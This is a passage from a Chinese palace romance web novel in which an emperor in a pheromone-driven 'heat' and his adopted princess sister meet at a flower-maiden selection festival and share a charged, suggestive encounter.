丁松泉疑惑问:“到底是谁?陛下受了伤,难道还要为他蒙蔽罪行?”
罪行二字叫梁寂鸾静默了下,“的确有罪。”
丁松泉:“那?”
梁寂鸾重新看向丁松泉,似是没有要提的意思,冷声反问:“谁告诉你朕受了伤?不过是有些不舒服,才叫徐钰来看看。”
丁松泉不是很信,但梁寂鸾的话不容置喙,他目光当即朝徐钰征询过去。
徐钰却对着他点了点头,“的确无伤。”
“陛下缠上纱布,是因为春夏交替,花粉过多,未免引起不适,方才这么做。”
梁寂鸾待他解释完才说:“你还有何要问的。”
丁松泉解了疑惑,不再追问下去,摇了摇头,“陛下没事就好,是臣无状了。”
等徐钰料理完手头上的事务要走时,却见丁松泉发出熟悉的暗号向他暗示。
离开永安宫,到了外面,丁松泉停下来,问:“到底怎么回事,你与陛下有事瞒着我?刚才我进去时,侍卫可是亲口说陛下受了伤,我手下的人,难道还能骗我?”
“什么花粉过多,陛下从未有过这种情况,梁家血脉你不是不清楚,陛下自分化后就与我等不同,鲜少能有东西让他不适……”
丁松泉与徐钰都为梁寂鸾伴读,现在有了秘密居然不叫他知。
丁松泉:“你今日不说,徐家你也别回去,就与我在宫里守个通宵,好叫你也试试夜里当差的苦。”
徐钰腰带被拽住,裤子差点掉下去,实在抵不住这厮闹,用力抽手将腰带从丁松泉手中夺回来。
气急败坏沉着脸,上前揪住丁松泉的衣襟,压低声音道:“狗孙,你这厮……想知道我告诉你就是!”
徐钰:“你可知陛下今日都见了谁?梁家人的确特殊,那你也应该知道陛下身上有一处碰不得,你猜纱布之下掩盖的是什么?”
“是齿印。”
“有人咬了陛下腺体,留下的齿印。”
那齿痕大小一看就属于女子,至于是谁,梁寂鸾根本不提,徐钰惊诧之余,不去窥探帝王隐私,才是本分。
腺体被咬后,梁寂鸾在星虎苑根本看不出异样,他也自觉没什么问题。
但不知是否因为脖颈上齿印的津液残余都被吸收进去,他逐渐出现了发热期才有的症状,气息不稳,精神多了丝狂躁,同时加深了他对命定之人的渴望。
脖子是梁寂鸾的禁忌之地,如今又因此变得敏感危险,为了避免再受风吹草动,梁寂鸾方才选择用纱布将齿印缠上。
否则,风里的任何轻微触动,都会带来唇舌湿含上去的软热错觉。
12.第 12 章
蓝春殿,入夜洗漱后的翁思妩躺入锦被中,望着头顶的纱帐,屋内的烛火照着她秀美的脸庞微微失神。
脑海中,翁思妩情不自禁回想今日发生的事。
谁能想到那天碰到的就是天子呢?再见面,他似乎也没提当时的情况,就像没被她捡回蓝春殿里歇息一样。
对那日只字不提,不过他对她的身份也没有表露出意外。
是早就知道住在蓝春殿的是她吗?他还走过来,被她一口咬了脖子。
他看她的眼神,当时是讨厌吗?如此失礼……
翁思妩忍不住翻了个身,一条腿伸出来夹紧被褥,双眼紧闭,把脸埋进去发出悔恨交加的懊恼声音。
动静引得陪伴在屋内的默秋进来,见状一愣,忍不住出声打扰,“娘子这又是哪里不舒服了?是不是被子又有……”
翁思妩:“没有。”
她僵直身躯,闷声回应,“是我自己,觉着热了而已。”
默秋信以为真,“傍晚阴凉,瞧着起风了,以为要下雨就将窗户都闭上了,娘子这会儿会觉得闷也是因为这个吧,奴婢这就把窗户打开。”
翁思妩一身都提不起劲的样子,备受打击若有似无地回应了声,“嗯。”
忽而一只手将她蒙在脸上的被褥揭开,翁思妩与默秋面面相觑。
默秋抬手触摸她的额头,“娘子脸怎的这么红,是出了什么事,不愿意与奴婢说吗?要自个儿这样折磨自己?”
翁思妩怔愣一会儿,意识到让婢女误会了,登时爬起来解释,“不是的,你怎会这么想?我只是……”
“只是觉得自己今日好像做错事了,心中懊恼,这才在这里反省自己。”
她跟默秋情同姐妹,怎会有事不相互商量呢。
婢女:“娘子究竟犯了什么错?”
今日陪同翁思妩到了桂宫,殿里有人侍候用不到默秋,她便在外边等着。
翁思妩被邀去星虎苑,同样没知会她,默秋对发生的情况一无所知。
“我……”翁思妩:“我冒犯了一个人,他身份很尊贵,远非你我可比。我兴许要惹他讨厌了,他要是不快当面罚我还好,但他事后什么都没说,也没有责怪我,我就是担心,日后他不会因此找我麻烦吧。”
默秋:“是,是哪位贵人?”
能用罚的,肯定地位不低,但翁思妩并未指明具体身份,默秋一时也不敢胡乱猜测。
翁思妩不说,默秋便只有安慰,“既然没有当面惩罚,又没有口头训诫,那当然是没有把娘子犯的事放心里,也就不会在意,更不会怪娘子了,奴婢觉得娘子不用过于担心。”
然而她说完,翁思妩却有些心不在焉地回应,“是这样吗。”
“不放在心里那就是不会在意,那看来是我想多了。”
所以陈诗织的话也不是没有道理,她是陈太后身边的人,就会被认为是一党的,作为帝王肯定不会多喜欢自己讨厌的阵营的人。
既然讨厌自己,那她咬他那一口,就当……就当提前礼尚往来好了。
谁叫他身上的气息总让她情不自禁失控呢,虽然她也有错,梁寂鸾可并不无辜呢。
想通后,翁思妩心中减轻了负担:“我没事了,你去歇息吧,我过会也就睡了。”
见她是真的再无异样,默秋点头,临走前提了句,“那奴婢就下去了,不过娘子今晚瞧着情况比前几日好太多,今夜好似都没怎么发病了。”
翁思妩蓦然醒神,戴着红玉手镯的皓腕摸了下脖子,好像……好像真是。
平日里会迫切难耐的后脖颈处,都没那么发热滚烫了,是正常热度。
陈家入宫看望过太后,翁思妩等了两日,都没在宫中听见什么传闻,更没有从陈太后身边听到有关于陈家兄妹告状的消息。
反倒是陈诗织很快就往宫里投了帖子,要邀她出宫去玩儿。
翁思妩本想当做看不见,奈何对方大概预料到她不会回帖,于是还把话递到了陈太后的耳边。
陈太后:“往常你在家常受拘束,你父亲身体又不好,身边同龄人少,王都也不曾出去过几次,难得诗织邀你,哀家还是第一次见她这般想跟一个娘子交朋友。”
“阿妩,你当多出去与人走动走动,诗织认识许多朋友,你也去交几个娘子,日后就不会觉得孤单了。”
虽是姑母,亲疏有别。
翁思妩不像陈诗织对陈太后那样,借着血亲关系可以肆意骄纵,她对陈太后大多是恭顺尊敬的。
她垂下眼帘,“阿妩知道了,阿妩这就回帖给陈娘子,答应她赴约。”
不知道为什么,翁思妩觉着陈太后好像很想让她进入世家贵女的圈子中去,是上回她说的看到父亲遗物触景生情,才让陈太后以为她很孤单吗?
所以才让她跟同龄的娘子多接近,但是陈诗织……
她真的最近在帝王不喜欢她,她们同是天涯沦落人的言论上兴致勃勃,兴趣不减。
翁思妩一回帖子,陈家那边就发动了。
陈诗织邀她于明日早上出宫,到王城里的花萼苑见面,她还邀了其他认识的世家娘子,要介绍给她,可不许迟来。
一丝一毫都不行。
已经了解过她的脾性,翁思妩还是在翌日好好准备,不提前也不曾晚到,时辰掐的正好出现在花萼苑。
王城里的花萼苑由梁家祖先命人修建,中间有通水渠,流向江河,内里花苑亭台楼阁大部分都准许平民百姓进入,能与达官贵人世家贵族同游。
苑内不得闹事,还会有官府的人巡逻把守。
翁思妩一步入陈诗织订下的小苑,院墙之内就露出一阵娇笑声,“真是少女怀春,焦小娘子这么想知道陛下消息,陈娘子你还是快告诉她吧,多少宝贝,焦小娘子都愿意拿出来换呀!”
“诸位,芙徽公主到。”
下人传报的话语让笑语声暂停,几双饱含打量观察的双眼顷刻向翁思妩投去目光。
陈诗织转头看见她来,登时一脸精神,同其他人道:“就是她,她就是我与你们说的翁思妩。”说罢起身,带着人上前迎接。
“你来了,阿妩。”
其他娘子也跟着过来,断断续续地附和道:“臣女见过芙徽公主。”
虽然陌生,但碍于身份,礼还是要行的。
这么大阵仗,一群身娇体贵养尊处优的娘子在跟前不约而同地打量翁思妩,就是换了人来经验不足,心中都会为之一怵。
但在陈诗织眼中,所预料的情况并未发生。
眼前那道娴静纤细的身影并没有涌现出露怯的神色,日头照耀下,婷婷嫋嫋的翁思妩更显得与她们不同,她好像更加娇弱。
是那种禁不住摧折的柔弱体态,由内而外,而在她们当中,不管是平民百姓,还是出身权贵,是武将之家
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还是文臣之女。
所有女子的体力身形其实都差不到哪里去,应当说都很康健。
而不会像翁思妩这样,让人一眼看了就觉得应该宝贝呵护,轻声细语地珍惜她。
有人低声评价道:“太弱了,大梁民富力强,举国上下富足多少年,盛世太平,就是路边乞丐都吃的肥头大耳,这位芙徽公主,太弱了。”
“她这身量还没有我家那个未及笄的妹妹高大呢。”
“倒也不能这么说,你家是武将,你那妹妹平日舞刀弄枪,听说这位芙徽公主从小足不出户,她父亲将她保护的紧密无缝,生怕被人偷了去,难道是从娘胎里出来就身子不行?”
“可看她气色红润,并不像生过大病的样子……”
闲言碎语传入耳朵里,翁思妩被迎上座位的同时问:“她们在议论我吗?”
陈诗织有点记得她的厉害,翁思妩可不如表面显得那么无辜,陈诗织已经提前交代过让其他人不要小瞧她,结果第一印象还是让人轻敌了。
“好了,你们太放肆了,哪有说小话那么大声的!”陈诗织回头教训一声,那些娘子们便安静了。
然而没过多久,又兀自说起小话。
有的与陈诗织更相熟的,凑到翁思妩跟前来问好,“在下焦衷耳,这位是马宥拂,愿与芙徽公主交个朋友。”
翁思妩眼眸一眨,不确定刚才听到的“焦娘子”是否就是眼前这位。
翁思妩:“二位娘子好,方才我进来时,听见你们谈笑,是在说?”
陈诗织猛地想起她在宫里不温不火地训斥,连声解释,“方才就是说的玩笑话,可没有对你阿兄不敬!”
看来星虎苑湖里观赏萤石已然给陈诗织造成了阴影。
翁思妩含羞一笑:“我还什么都没说呢,陈娘子撇得这样清,弄得我多不好意思。”
陈诗织瘪嘴:“谁知道呢,你可是只小笑面母老虎。”
翁思妩:“……”
花萼苑的下人给每桌奉上香茶甜点,在这样安逸周围春暖花香的情况下,马宥拂回答了她的话,“芙徽公主是说,方才我们说焦娘子想用宝物来跟陈娘子换消息之事吧。”
旁边焦衷耳脸上微露得色,不见羞赧。
马宥拂:“芙徽公主不常出来走动,常年居于家中,不晓得也颇为正常,其实今日我们大家聚在这里不单单只是为了吃茶作乐而已,而是为了——”
她嘴皮磕碰,落下话音,“选、花、娘。”
“所谓花娘,乃是宫中先传出来的,历年来,梁家先祖会在春夏交替的时候,让各地臻选出身体携带异香的女子前来觐见。”
“至于为何,说是说第一代梁祖曾在相师跟前卜过卦,梁家一脉会与身带异香的女子有缘,若是被选上,那可就是集万千宠爱于一身的帝后之命。”
翁思妩听见焦衷耳中途插进来说:“‘花娘’可不止是有香,据说还要有些与众不同的地方,一定要万里挑一,光旁人闻的出来还不行,须得陛下亲自确认,点头才是。”
翁思妩:“这是为何呢?”
几个女娘当面眼神交汇,勾起嘴角相视一笑,“听传闻说,梁家要寻的人格外不同,他们要的‘花娘’身上的气息,一般人闻不出来!”
“也不知找的哪种神人,说的跟天人一般。”
陈诗织感叹:“往年就没寻到过,今年不知会如何?”
13.第 13 章
选花娘据说也是个盛大的活动,并非每个人都会中选,且历年都没有一个人真正得到梁家帝王的认可。
时日一长,逐渐这个活动变得如同庆典一般,各地送来的花娘会如游神选美一样,出现在花萼苑里展示给人看,即便没选中,亦可以当做一种搏名声的手段,日后为自己寻个好出路。
此事宫中也不限制,举办的多了,无论权贵还是平民百姓皆可参加。
可以称得上是与民同乐了。
焦衷耳要参加,无异于跟风好玩,这些世家女娘都清楚,去年帝王就已经选过了,年年都无人中选,那位九五之尊身边的凤位全凭他自己的意愿。
无人能左右他的断绝,而她们也并不是身携异香之人,来臻选的都有真真假假的情况,宫中不下令禁止,众人胆子也就大了,是以纯粹就当其一个活动,一个天子与民同乐的盛举庆典。
焦娘子:“不过话又说回来,即使没被选上,能见帝王一面,看看那多情眉眼,那也值了。”
陈诗织:“你可别入戏太深,将自个儿赔进去了,我那表兄陛下,威严不可进犯。”
她下意识看翁思妩一眼,仿若将她当成会揭发她们说小话的小人,时刻在意堤防。
然而扭头却发现听了她们话的她,实则正在走神,不知在想什么,表情有一点怪。
翁思妩不知选花娘的条件竟是这般特殊,而且……竟然是要自身有香,还需经过帝王确认,他能闻到而一般人闻不到。
翁思妩也是豆蔻之年才有了发病的症状的,发病时她总能嗅到自己身上的气息。
身边除了婢女,父亲都不会准许其他人靠近,等翁思妩撑过去,那一夜过后,满屋都是浓稠到醉人的靡香侵袭卷满了各个角落。
但是上回,即使她站在梁寂鸾跟前,梁寂鸾也并未说她身上有什么香味。
还是说,她身上的气味也只针对特定的人,一时间,翁思妩想的头都大了。
兴许,她也不是宫中要找的什么花娘。
花萼苑分许多个园子,各处皆有不同,但人流一个不少,翁思妩同陈诗织等人走在路上,一眼望去,皆是来游玩的身影。
翁思妩:“我们现在去何处?”
她们刚才说完选花娘的典故,焦衷耳就说要大家都出来走一趟,这些娘子都是她们常见常交好的,倒是一呼百应,二话不说便跟上。
马宥拂:“芙徽公主别怕,焦娘子这是想大家都欣赏下她的风采,这才让我们跟上去。”
“她在薄云园内准备了一曲歌舞,打算竞选花娘,我等都是她知交好友,岂能不去捧个场?”
翁思妩虽是新来的刚认识,但俨然已经被这群贵女纳入圈子内,自然也要与她们同行。
这一路过来,各处亭台都有歌舞声,游人顺着大流移动,遇见感兴趣的便留下观赏,翁思妩算是开了眼界,已经看到不止一个来竞选的花娘。
除了各地举荐的人选,还有平民百姓们自发加入的。
花萼苑,当真热闹非凡。
翁思妩本身今日来时,还想陈诗织会不会因为上回在宫里的事报复她,眼下看多了热闹,心中的堤防已然渐渐放下。
如果陈诗织只是傲气一直对她没有别的恶意,她们交个朋友也无妨。
她受气氛影响,气色瞧着白里透红,明净的黑眸温润带着湿气,微露艳光。
陈诗织忽而看她一眼,其他人都先行了,她们站在高一截的小坡上,霞光照落,山石树色相互辉映。
冷不丁的,陈诗织道:“阿妩,你也去吧。”
翁思妩衣角被拽住,脚步顿在原地,默秋在旁关注着陈诗织的手,生怕她将翁思妩给拽倒了。
“什么?”
翁思妩茫然一惊。
陈诗织兴致起来,抓住她的臂膀,“我说,你也去参加‘选花娘’吧。”
翁思妩:“你疯了,我选花娘做什么?我是陛下的阿妹。”
真成了花娘被选上,依她跟梁寂鸾的关系,岂不是乱了套了。
翁思妩抗拒不从,陈诗织却铁了心要让她也去试试,哀求道:“只是试试,不是真叫你入选,你身上哪有异香啊。”
“你看焦娘子也没有,她是为了去玩玩,你姿色出众,这样的美姿容难道不该叫大家都欣赏欣赏。”
“去吧,去吧,阿妩。”
翁思妩口上仍道:“不成,这于我非同小事,我不想上台。”
二人在小路上纠缠好一阵,眼见实在说服不了翁思妩,威逼利诱各番好话都说尽了都没用,陈诗织方才失望地松开手,“那就罢了,我不求你了。”
“我只是想你登台,也展示一下自己,让我等更加了解你,大家也会对你更亲近。”
翁思妩理了理被拉扯的微乱的衣裳,完全不介意陈诗织变得不高兴,柔声说:“这园中有那么多好看的娘子歌舞,热闹多了去了,何必定要瞧我的。”
说着眺望了下前面,“台下来了好多人了,焦娘子她们都走远了,再不走,我们就要什么都看不到了。”
陈诗织不过是得了她这个新“玩意”,想掌控她对外展示,娱乐了众人,又得意了她自己。
翁思妩如何肯给她这个机会,大庭广众之下,她还做不到面对那么多双眼睛盯着还镇定自若,本就不喜欢博得旁人关注,更不要提还要与其他娘子竞争异香。
好戏开场,焦娘子那边似乎早就做了打点,翁思妩看她同众人交代几句转身就和婢女去了后台,身影逐渐消失在弯弯拐拐的小径上。
一个回头,刚才还待在她附近的陈诗织忽然也不见了。
一时间翁思妩周围都变成了和之前不相识的人,默秋努力替她挡开人群,提议道:“娘子,此处人多,不如换个地方再看焦娘子竞选。”
翁思妩点头,“好。”左右没有熟人,也用不着跟谁交代了。
主仆二人转换到了戏台的右侧方,结果上边人也不少,唯有跟默秋再寻个好视野,只是越往里走越远,忽而有道声音叫住她,“芙徽公主……可是芙徽公主?”
翁思妩定睛一看,“你是……”
来人匆匆朝她行了一礼,神色焦急道:“奴婢是焦娘子身旁的女婢,我家娘子正要更衣准备登台,却发现衣裳被毁了,来不及梳妆,娘子不甘就要这样落败了,正在屋里哭呢!”
要竞选的话都放出去了,眼下大家都等着看。
若不想法子解决就只有出丑了,婢女几近哭着说:“还请芙徽公主,予我家娘子帮个忙,奴婢出来的急,实在不知道该寻谁了。”
她本想着去寻与焦衷耳交好的陈诗织等人,然而远水救不了近火,翁思妩刚好又在跟前。
婢女见着她无异于见到救星一样,只差跪下给翁思妩磕头了。
路上行人三三两两过路,为了不引人注目,将动静闹大,翁思妩让
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默秋扶婢女起来,“你且说怎么帮吧,若我能尽绵薄之力也无妨。”
婢女:“我家娘子带了备用的衣裳来,只是在外面的马车上,还请公主派人帮忙去取。”
“奴婢暂且脱不开身,演出歌舞一事,还得去负责这个的管事那里调节一下,待我家娘子准备好了再登台。”
这都是举手之劳,十分简单的事。
翁思妩:“可以,那就让默秋,你去吧。”
默秋迟疑,“可奴婢走了,公主怎么办?”薄云园几近人满为患,留翁思妩一人又不行。
婢女说:“我家娘子在后面的暖香阁,遇到此事正需要安慰,还请公主前去与她作个伴。”
之前翁思妩就是看见她们沿着这条路过去的,闻言到没什么意见,“默秋,去吧,我这就去找焦娘子。”
三人分头而行,默秋一直目送翁思妩走到铺满石子的小径上,确认没走错,不见了身影,才在婢女祈求的眼神中前往花萼苑的后门。
然而,半刻后。
翁思妩站在四周葱茏的庭院里,不知自己哪里走岔了,院墙头顶写的并非暖香阁,而是暖玉阁。
此处人稀,她想再走出去,已经被条条道道相同环境弄迷糊了。
翁思妩基本确认自己的确是迷路了,她抬头呼喊,“有人吗?”
阁楼里恍惚传来一道响动,翁思妩宛若得救般循着踪迹找去,楼梯窄小,她不得不拎起裙摆,蹑手蹑脚走的小心翼翼。
楼里唯一一展门微微开了条缝,翁思妩推门而入,宛若打开一扇装满阴影的牢笼,“请问……”
屋内一室昏暗,盈满浓稠到呛人熏醉的气息,翁思妩毫无防备猝然吸入一大股,草木燃烧的热度顷刻席卷了她,让她背靠房门,软着腿渐渐将门关上。
只是在即将关紧那一刻,还留有一丝缝隙的光。
一个人影坐在屋内软榻上,墨眉顶起被打扰的弧度,语气中可感受到他的压抑和火热,“出去。”
熟悉而低醇的声音令翁思妩浑身一震。
她眼睛瞳孔在颤,与出现在这里的梁寂鸾对视,目光从他沾染了欲-色的面庞到他手放在膝上的位置难以离开。
她知道她擅闯了他的禁地,而梁寂鸾会以帝王之身出现在花萼苑,应当就是为了选花娘。
只是不知为什么他会单独在暖玉阁里待着,身边无人侍候,而且瞧起来像是独自在撑一场难熬且长达了不知多久的欲望。
梁寂鸾:“出去,朕说的不够明白吗?”
翁思妩接收到他的驱赶之意,可以说现在的情势不怎么好,梁寂鸾的情况绝对称得上危险,他的目光阴郁而有神,眉头难受的顶起,微红的俊脸浮出薄汗。
身形微偏,因翁思妩猝不及防地闯入,只能欲盖弥彰地掩饰刚才对自己的抚慰,一整个欲望压身,被打扰恹恹又濒临爆发的样子。
空气中都是他的温度,翁思妩鼻尖出汗,心脏宛若要冲出胸脯,四面八方的引人发热身软的浓灼气息扑倒了她,从推开门的那一瞬间就遭受它的攻击。
翁思妩现在能紧贴着房门墙壁而不倒下,已经是万幸。
在梁寂鸾沉甸而隐忍的不悦目光里,翁思妩语含羞耻,面带哭腔,娇声泣诉:“我,我身子软了,走不动了。”
空气静默良久。
帝王在晦暗幽昧的光线中,辨认出从头到脚都红透了人影,“芙徽……公主。”
14.第 14 章
比直白道出姓名还要羞耻赧然的,是梁寂鸾点出她的身份……明知她是半路出家,做了他的“阿妹”,现如今已成事实。
然而也昭示了翁思妩这么做,就如不懂事似的闯入了帝王兄长的屋子。
面临如此尴尬的境地,她竟还走不了了。
梁寂鸾:“你怎会在这里?”
翁思妩担心他有怪罪之意,一面与侵袭了她的浓稠气息做抵抗,一面喘息着努力保持清醒神智,“陈娘子约我……花萼苑,看选花娘。”
她跌撞着向前,房门因她的外力作用而合上紧闭,翁思妩根本没意识到自己的脚步正在向梁寂鸾靠近。
她只看到屋中隐藏在半明半昧中的影子里,有着梁寂鸾的身影,周围好像遭过难,有些家具颠倒在一旁,连梁寂鸾身后都倒了一张错位的椅子,而他就这么不羁地靠着。
半只腿在平地与另一只腿屈膝交错,在翁思妩慢慢吞吞挪步过来时,恰到好处地微微遮挡了身下的风景。
但是翁思妩还是看清他下面的衣裳乱了,上身倒是完好无损,软榻下还凌乱摆着腰带和鞋履。
这副帝王的私密景象就这么赤-裸-裸展示在她跟前,“你这是,怎么了……?”
她呼出的气息都觉得有梁寂鸾身上的味道,翁思妩茫然地问,她好似又没那么真的不懂事,“你是不是,哪里不舒服……”
她也觉得不舒服,体热,透不过气。
她想叫梁寂鸾收一收,他的气息不知怎么了,比上次更浓更猛烈,汹涌到随意乱窜。
然而,梁寂鸾道:“朕命你出去,你还要过来吗?”
翁思妩被那饱含压抑的语调冷冷惊醒,骤然停下,才发觉她摸索着竟然与帝王之间的距离不到半尺。
她完全能清楚地由上而下将梁寂鸾此时情况瞧得真真切切,几日不见,他脖颈上半搭着一条纱布,方才没在意,此时有一边松了,散乱地垂在胸膛上。
另一边不知是否由他在燥郁混乱中扯下,还紧攥在泛起青筋修长的五指里。
此时的梁寂鸾看起来并不好过,他浓黑的眉眼似乎被汗珠染上湿意,张开口说的话都有热度,翁思妩几乎被那股熏头的引导着要扑倒他在跟前,“我,我……”
“我只是想帮你。”
翁思妩:“陛下。”
叫什么“阿兄”,都不如一声尊称让梁寂鸾身下跳动如脉搏般厉害,历来选花娘都在每年春夏交替期间,往年先帝在时年年都会举行这样的庆典。
自从梁寂鸾上位后,似乎对于选花娘这样的活动并没有兴趣,前几年一直都未举办,今年本不打算参加。
然而徐钰说,根据这样的情况来看,再寻不到“花娘”他的情况也很危险,毕竟最近一段时间,梁寂鸾的发热期来得奇怪又厉害。
是吃药都止不住的凶猛,为了避免用药过多带来伤身的作用,这两日即便感觉不舒服,都是由他硬抗着度过。
不过物极必反,梁寂鸾再次出现了症状,于是避开人前单独择了间屋子,一个人解决。
在本该最“清净”的时候,结果翁思妩却突然闯了进来。
世上当真有如此意外的巧合吗。
翁思妩发觉梁寂鸾的气息乱的比她要多一些,就跟上回在宫中偶遇一样,他是在发病,气息很是灼热。
而她十分想向他靠近,近一些再近一些。
甚至还想让他做些什么,让她甘之若饴的朝之匍匐,把控她,拥有她,占据她。
不知不觉她也有汗从眉头上滴下来,像露珠挂在梢头,打湿了乌黑的眼睫,以至于翁思妩那一瞬间视线模糊,未曾看清帝王的眼神有变。
梁寂鸾的手缓缓从身下遮挡处挪开,他声音和平常很不一样。
像在闺房中对着人耳语,温温的热气拂过肩颈,钻入衣襟里,“你应该马上出去,没人告诉过你,在朕犯病的时候最好不要靠近吗?”
上回情况特殊,他已忍过最艰难的一波,不像此刻,他正在犯病的头上。
而如果不是命定之人接近,都会有危险,在丧失理智,绝对失控的状态下,梁寂鸾什么破坏都做得出来。
翁思妩依旧呆呆的,她仿佛已经被这密不透风的室内的气息缠绕傻了。
天生的反应让她离不开这里,她嗅着梁寂鸾的味道,无意识地说:“我走不掉了。”
“阿妩,走不掉了,阿兄。”
“……”
将翁思妩的行为默认为是她自己的意愿,今日的出现是场有意安排,梁寂鸾目光幽幽的,在微弱的光线中凝视着她。
当紧绷的弦断掉的那一刻。
梁寂鸾如被火焰烧断理智的狮子,满脸醺红,呼出热气,丢掉了肩头上的纱布到地上,示意翁思妩,“过来,把它捡起来,阿妩。”
这样低声引诱的呢喃,让翁思妩有瞬息的愣怔,然而很快又定在帝王那双深深注视着她,无垠黝黑的眼睛里。
梁寂鸾双眸因发热期的热潮冲击,眼褶处早已微微变成了深红,有一种即将狂躁失去理智的可怖。
翁思妩控制着弯下腰,在腿软脚软下缓缓捡起纱布的另一头。
刚摸到抓入手里,就被一股猛力拉拽着往前,她惊惶地闭上双眼。
下一刻,娇软的身躯重重地扑倒在一个结实的怀里。
薄云园人影来去,歌舞一尽,喝彩声响彻耳际,在最外围的边缘,只见一个婢女四顾环视,不知在找寻什么。
路过的人听她焦急道:“我娘子呢?我家娘子呢?”
默秋听了焦衷耳身边婢女的请求,帮她去花萼苑的后门取新衣,结果衣裳送到以后,却不见翁思妩的人。
暖香阁里,焦衷耳换衣裳的手微微一顿,“你家娘子?碧云走后,她去请人为我帮忙,但是我未曾见芙徽公主过来呀。”
默秋登时被吓傻了,“我家娘子,丢了?”
丢了公主乃是大事,焦衷耳还未分不清事态轻重,好在婢女回来之前就去协调了她登台的时间,在此之前可以帮着寻芙徽公主。
焦衷耳:“赶紧去找陈娘子、马娘子她们帮忙,还有花萼苑里的巡逻侍卫,让他们一并搜查起来。”
“不过动静不
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要太大,免得引起惊慌。”
今日在花萼苑的人数远超平常,既要找到人,又要不引人注目实在是件费功夫的事。
当传话的婢女找到陈诗织时,未料想她正与另一帮人在一起。
回廊下,皆是衣着不凡的公子贵女分别坐在一处,正对着不远处的戏台,陈诗织夹杂其中,身边更有从国子监刚读完学的陈诗问在。
初始他并未在意一个神色匆匆的婢女为何找来。
直到陈诗织一声惊呼,引起了他的注意。
陈诗织:“什么,阿妩不见了?”
婢女慌了:“陈娘子……小声些。”
“阿五?哪个阿五?”耳朵敏锐的陈诗问朝陈诗织看过来。
陈诗织一脸不可思议,“不是,二哥,你居然忘了?还有哪个阿妩……不就是差点把树枝掸在你脸上那个。”
陈诗问笑容顿时收敛,他还以为是哪个不认识的人,实在是这两日在学业上忙忘了。
陈诗问越过妹妹,直接点名婢女,循声再问:“再说一回,出了何事,是怎么不见了?”
“回陈公子,焦娘子让奴婢过来时,还说切记不要肆意宣扬……”
婢女为难道:“是今日刚出宫的芙徽公主,她好像在薄云园内走丢了。”
外面的热闹与人声鼎沸仿佛消失了,与孤立在围墙之内的暖玉阁形如两个世界。
没有命定之人的气息安抚的梁寂鸾,发热期中的危险程度不可想象,他这般情状,身陷在血气翻涌冲击中,是寻常人难以抚慰帮忙的。
或许可以请长相出众,身形窈窕的女子前来侍寝,又或许像发高烧那样对待,悉心照料。
事实上都无济于事,这是命中血脉里带来的对另一方的气息的渴求,他已是及冠之龄,戾气更重,需求更大,如今翁思妩送上门,不易于自投罗网,羊入虎口。
懂得刑具的帝王可以有千百种方式来亵玩发泄。
翁思妩鼻尖因撞上那扇厚实坚硬的胸膛,痛得她鼻头泛酸,眼眸一阵湿润,也因此清醒了几分。
竟不知此刻会是这般模样,她双手无助地搭在梁寂鸾的肩上,浑身凄然地靠坐在他怀里,他们的腿已分不清你我在衣裳下交叠。
梁寂鸾在嗅她,翁思妩紧张地攥紧他的衣角,缩着脖颈感觉到危险,尽量不要让他碰到她的脖子。
这一刻她心慌到不行,总觉得像要彻底被人捕获关进牢笼的猎物,不能让梁寂鸾碰到她的敏感之处。
翁思妩为求生急中生智,自知无法逃离,没有退路。
她软声叫着,“阿兄,阿兄,不要咬我,我帮帮你,让我帮帮你。”
她豁出去,闭上双眼,往全然失去理性的帝王唇上凑过去。
柔嫩湿软的触感贴上梁寂鸾,犹如携带一丝吐气如兰的馨香,连无边浓烈的火气都得到一丝清凉。
翁思妩凭着直觉这么做,是以为这样就可以让梁寂鸾好过点。
但片刻之后,她吃惊地睁大双眸,很快眼眶盈满沸腾的湿意,清正威仪的帝王卷着她的舌头,正在更加用力地吸吮。
15.第 15 章
翁思妩不见,婢女向陈诗织等人求助,不想还惊动了陈诗问。
他家世高贵,身边自然结交认识的都是名门公子,闻言都对那位口中的“芙徽公主”产生兴趣。
只不过先找人要紧,其余的可之后再谈。
陈诗织:“二哥,怎么办,花萼苑这么大,怎么找啊?”
陈诗问:“去找过花萼苑的巡逻侍卫没有,让芙徽公主身边的婢女把出入宫内的腰牌给他们看,以证身份,他们自然会知道怎么做。至于我们……”
“就说家里人丢了,先自个儿找找。”
顷刻间,陈诗问倒也成了一团慌乱娘子当中的主心骨,除了跟翁思妩的“私仇”,陈诗问也不想出事以后让陈家担当弄丢翁思妩的罪责。
人又是陈诗织邀出来的,却又中途出了事,跟陈家脱不了干系。
陈诗问:“薄云园说大不大,说小不小,这里路难绕,地形复杂,叫你那帮小娘子们都结伴去找,别分散了,就分两队人马,你跟我们一起。”
陈诗织听了他的话赶紧去交代,然后众人分头而行。
路上为缓解气氛,同行的公子道:“花萼苑虽人多眼杂,什么人都有,不过为了这处清净之地着想,门口进来时守门的护卫都会搜身。
一看就有端倪的人都会当场扣下,是以能到这里游玩的都是过了护卫法眼的,我想那位芙徽公主是不是迷路了,我们也不必太过紧张。”
“怎么说这里都是官府管辖之下的花苑,”另一人赞成说:“若有胆敢在这里闹事的,也早都被关进去了,巡逻的护卫可不是摆设。”
陈诗织陈诗问面色都有缓和,“那是当然,就当这位芙徽公主与我们大家开个玩笑罢了。”
方便起见,陈诗问等人还是找了个熟悉薄云园的下人前来领路。
“薄云园许多亭台楼阁都分布在各处,越往里路越难行,稍微一条小道就能走岔了。”
下人无意中说:“说不定,芙徽公主本是想去暖香阁,结果却去了暖玉阁。”
说着无心,听着有意,陈诗问出声问:“暖玉阁在何处?”
下人为他态度所惊愣,反应过来道:“要,要走一条没人走过的小道,稍不留意就走错了,在前面竹林后。”
大片竹林遮挡下,的确很难从中找到一条可以通过的路径。
葱茏的景色后,连通着山石回廊,乍一看宛若迷宫。
春夏之际,暖玉阁一片悠然雅意,在不为人知的内室,大批寻常人嗅不见的气息透过门缝往外溢出。
被众人寻找的翁思妩怀一身娇懒之意被困在厚实的胸膛里,色如春花,面似芙蓉,像被玩累的猫儿般细细轻喘。
唇色红肿艳艳,神色迷离,梁寂鸾将她的舌头都吮麻了,翁思妩整个都像脱去水分似的,“不要了,阿兄。”
她哀戚地告饶,实在是没水儿了,头脑也越发清醒,他们这样是不对的。
陛下和公主……即便无亲无血缘关系,又不同姓,可她是他亲封的公主,他的母后她还要叫一声姑母。
如今却在花萼苑内选花娘的当天,躲着众人偷偷厮混。
虽然是她主动,却也是她受梁寂鸾身体气息影响,二人都打破了身份上的界限,就在翁思妩认了命时,外边暖玉阁好似来了新的动静。
翁思妩恍惚以为自己得了幻听。
